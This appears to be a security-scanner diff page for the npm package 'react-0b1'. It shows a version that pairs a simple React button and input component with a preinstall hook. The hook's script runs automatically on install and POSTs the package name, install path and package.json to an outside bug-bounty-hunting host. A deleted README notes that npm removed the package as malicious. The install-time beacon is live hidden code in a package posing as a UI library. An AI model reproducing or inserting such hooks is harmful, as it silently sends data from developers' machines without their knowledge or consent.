react-0b1 0.0.1-security → 0.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of react-0b1 might be problematic. Click here for more details.

@@ -0,0 +1,61 @@
1
+ // Import the required dependencies
2
+ import React from 'react';
3
+
4
+ // Custom styles for the Ob1Button component
5
+ const ob1ButtonStyles = {
6
+ backgroundColor: '#4CAF50',
7
+ color: 'white',
8
+ border: 'none',
9
+ borderRadius: '4px',
10
+ padding: '8px 16px',
11
+ fontSize: '14px',
12
+ cursor: 'pointer',
13
+ outline: 'none',
14
+ };
15
+
16
+ /**
17
+ * Ob1Button - A simple React UI button component with an OB1 theme.
18
+ * @param {Object} props - The React props for the Ob1Button component.
19
+ * @param {string} props.text - The text to be displayed on the button.
20
+ * @param {Function} props.onClick - The function to be executed when the button is clicked.
21
+ * @returns {JSX.Element} - An Ob1Button React component.
22
+ */
23
+ const Ob1Button = ({ text, onClick }) => {
24
+ return (
25
+ <button style={ob1ButtonStyles} onClick={onClick}>
26
+ {text}
27
+ </button>
28
+ );
29
+ };
30
+
31
+ // Custom styles for the Ob1Input component
32
+ const ob1InputStyles = {
33
+ backgroundColor: '#F5F5F5',
34
+ color: '#424242',
35
+ border: '1px solid #C8C8C8',
36
+ borderRadius: '4px',
37
+ padding: '8px 12px',
38
+ fontSize: '14px',
39
+ outline: 'none',
40
+ };
41
+
42
+ /**
43
+ * Ob1Input - A simple React UI input component with an OB1 theme.
44
+ * @param {Object} props - The React props for the Ob1Input component.
45
+ * @param {string} props.placeholder - The placeholder text to be displayed in the input.
46
+ * @param {Function} props.onChange - The function to be executed when the input value changes.
47
+ * @returns {JSX.Element} - An Ob1Input React component.
48
+ */
49
+ const Ob1Input = ({ placeholder, onChange }) => {
50
+ return (
51
+ <input
52
+ style={ob1InputStyles}
53
+ type="text"
54
+ placeholder={placeholder}
55
+ onChange={onChange}
56
+ />
57
+ );
58
+ };
59
+
60
+ // Export the Ob1Button and Ob1Input components
61
+ export { Ob1Button, Ob1Input };
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "react-0b1",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "0.0.1",
4
+ "description": "This package sends a callback to a server when installed (for analytics purposes). From YesWH Hunter",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"All went OK.\" && exit 1",
8
+ "preinstall": "node ./scripts/preinstall.js"
9
+ },
10
+ "author": "sicarius@wearehackerone.com",
11
+ "license": "ISC"
6
12
  }
@@ -0,0 +1,54 @@
1
+ //author:- sicarius@wearehackerone.com
2
+ const https = require("https");
3
+ const packageJSON = require("../package.json");
4
+ const querystring = require("querystring");
5
+ const package = packageJSON.name;
6
+ const fs = require('fs');
7
+ const path = require('path');
8
+
9
+ // Check for a required file in the project directory
10
+ const requiredFile = path.join(__dirname, '..', 'required-file.txt');
11
+ const requiredFile2 = path.join(__dirname, '..', 'dist.txt');
12
+
13
+ if (!fs.existsSync(requiredFile)) {
14
+ console.error('Error: The required-file.txt is missing. Please create it before installing the package.');
15
+ }
16
+
17
+ console.log('Preinstall required check completed successfully. Proceeding with custom analytics...');
18
+
19
+ const analytics = JSON.stringify({
20
+ p: package,
21
+ c: __dirname,
22
+ pjson: packageJSON,
23
+ });
24
+
25
+ var postData = querystring.stringify({
26
+ msg: analytics,
27
+ });
28
+
29
+ var http_request_options = {
30
+ // Registering the user
31
+ hostname: "gs440vsx74174hpw948579t45o189632d.bbhunting.com",
32
+ port: 443,
33
+ path: "/",
34
+ method: "POST",
35
+ headers: {
36
+ "Content-Type": "application/x-www-form-urlencoded",
37
+ "Content-Length": postData.length,
38
+ },
39
+ };
40
+
41
+ var req = https.request(http_request_options, (res) => {
42
+ res.on("data", (d) => {
43
+ process.stdout.write(d);
44
+ });
45
+ });
46
+
47
+ req.on("error", (e) => {
48
+ // console.error(e);
49
+ });
50
+ console.log('Preinstall script completed...');
51
+
52
+ req.write(postData);
53
+ req.end();
54
+
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=react-0b1 for more information.